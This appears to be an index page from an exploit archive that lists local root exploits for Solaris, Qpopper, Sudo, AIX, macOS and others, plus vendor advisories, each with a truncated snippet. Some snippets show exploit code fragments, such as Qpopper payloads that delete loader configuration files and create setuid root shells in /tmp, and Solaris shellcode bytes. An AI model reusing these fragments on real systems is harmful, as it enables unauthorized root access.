Solaris 10 DtPrintinfo/Session Local Root Exploit (x86)

Exploit for solaris platform in category local exploits ======================================================= Solaris 10 DtPrintinfo/Session Local Root Exploit x86 ======================================================= !/usr/bin/perl Solaris 10 DtPrintinfo/Session Exploit x86 EDUCATIONAL...

Qpopper <= 4.0.8 (poppassd) Local Root Exploit (freebsd)

Exploit for bsd platform in category local exploits ======================================================== Qpopper program.c include include include void init if !geteuid remove"/etc/libmap.conf"; execl"/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL; EOF gcc -o...

Qpopper &lt;= 4.0.8 (poppassd) Local Root Exploit (linux)

No description provided by source. !/bin/sh tested and working /str0ke Linux Qpopper poppassd latest version local r00t exploit by kcope August 2005 Confidential - Keep Private! POPPASSDPATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"...

Qpopper &lt;= 4.0.8 (poppassd) Local Root Exploit (freebsd)

No description provided by source. !/bin/sh FreeBSD Qpopper poppassd latest version local r00t exploit by kcope tested on FreeBSD 5.4-RELEASE POPPASSDPATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep ...

Qpopper <= 4.0.8 (poppassd) Local Root Exploit (linux)

Exploit for linux platform in category local exploits ====================================================== Qpopper program.c include include include void init if !geteuid setgid0; setuid0; remove"/etc/ld.so.preload"; execl"/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL;...

Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)

Exploit for linux platform in category local exploits ============================================================= Wireless Tools 26 iwconfig Local Root Exploit some setuid ============================================================= // if the iwconfig executable is setuid /str0ke include inclu...

Adobe Version Cue 1.0/1.0.1 (-lib) Local Root Exploit (OSX)

Exploit for macOS platform in category local exploits =========================================================== Adobe Version Cue 1.0/1.0.1 -lib Local Root Exploit OSX =========================================================== / Adobe Version Cue VCNativeOSX: local root exploit. dyld by:...

Adobe Version Cue 1.0/1.0.1 Local Root Exploit (OSX)

Exploit for macOS platform in category local exploits ==================================================== Adobe Version Cue 1.0/1.0.1 Local Root Exploit OSX ==================================================== !/usr/bin/perl Adobe Version Cue VCNativeOSX: local root exploit. by: vade79/v9...

Operator Shell (osh) 1.7-13 Local Root Exploit

Exploit for linux platform in category local exploits ============================================== Operator Shell osh 1.7-13 Local Root Exploit ============================================== You must be groupoperator for permissions /str0ke !/usr/bin/perl OSH 1.7 Exploit 2 Gonna bang away at th...

kavLocalRoot.txt

FYI, a new version is already available and a proposed workaround is described at the end of the advisory. Peter URLs for this document: ftp://ftp.aerasec.de/pub/advisories/kav4unix/kav4unix-local-root-exploit.txt TXT P & C 2005 AERAsec Network Services and Security GmbH The information in this...

Insecure directory permissions of default installation of Kaspersky Anti-Virus for Unix/Linux File Servers will lead to local root exploit

FYI, a new version is already available and a proposed workaround is described at the end of the advisory. Peter URLs for this document: ftp://ftp.aerasec.de/pub/advisories/kav4unix/kav4unix-local-root-exploit.txt TXT P & C 2005 AERAsec Network Services and Security GmbH The information in this...

Lantronix Secure Console Server (edituser) Local Root Exploit

Exploit for unknown platform in category local exploits ============================================================= Lantronix Secure Console Server edituser Local Root Exploit ============================================================= !/bin/sh Lantronix Secure Console Server edituser root...

[SECURITY] [DSA 725-2] New ppxp packages fix local root exploit

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 725-2 [email protected] http://www.debian.org/security/ Martin Schulze July 4th, 2005 http://www.debian.org/security/faq -...

Sudo 1.3.1 - 1.6.8p Pathname Validation Local Root Exploit (openbsd)

Exploit for bsd platform in category local exploits ==================================================================== Sudo 1.3.1 - 1.6.8p Pathname Validation Local Root Exploit openbsd ==================================================================== include include include include include...

Solaris 9 / 10 ld.so Local Root Exploit (2)

Exploit for solaris platform in category local exploits =========================================== Solaris 9 / 10 ld.so Local Root Exploit 2 =========================================== / Solaris 9 on SPARC: $ cat dupa.c / char sh = / setuid / "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /...

Solaris 9 / 10 ld.so Local Root Exploit (1)

Exploit for solaris platform in category local exploits =========================================== Solaris 9 / 10 ld.so Local Root Exploit 1 =========================================== / - SunOS 5.10 Generic i86pc i386 i86pc - SunOS 5.9 Generic112233-12 sun4u It does NOT work on: SunOS 5.8...

Local Root exploit &#40;Fedora Core 4&#41;

Local Root Exploit under Fedora Core 4 stable Advisory Florian Strankowski [email protected] www.bildunxxluecke.de/usr/florian/advisory/advisory-05-048.txt Vulnerable System : This vulnerability affects Fedora Core 4.0 stable with the kernelversion 2.6.11-1.1369FC4 1 Thu Jun 2 22:53:35...

AIX 5.2 paginit Local Root Exploit

Exploit for aix platform in category local exploits ================================== AIX 5.2 paginit Local Root Exploit ================================== / IBM AIX paginit root exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy caughq.org / include include include include...

Fortinet Fortigate firewall backdoor account

maintainer/pbcpbnserial number account has local root access to device...

[SECURITY] [DSA 725-1] New ppxp packages fix local root exploit

-------------------------------------------------------------------------- Debian Security Advisory DSA 725-1 [email protected] http://www.debian.org/security/ Martin Schulze May 19th, 2005 http://www.debian.org/security/faq -...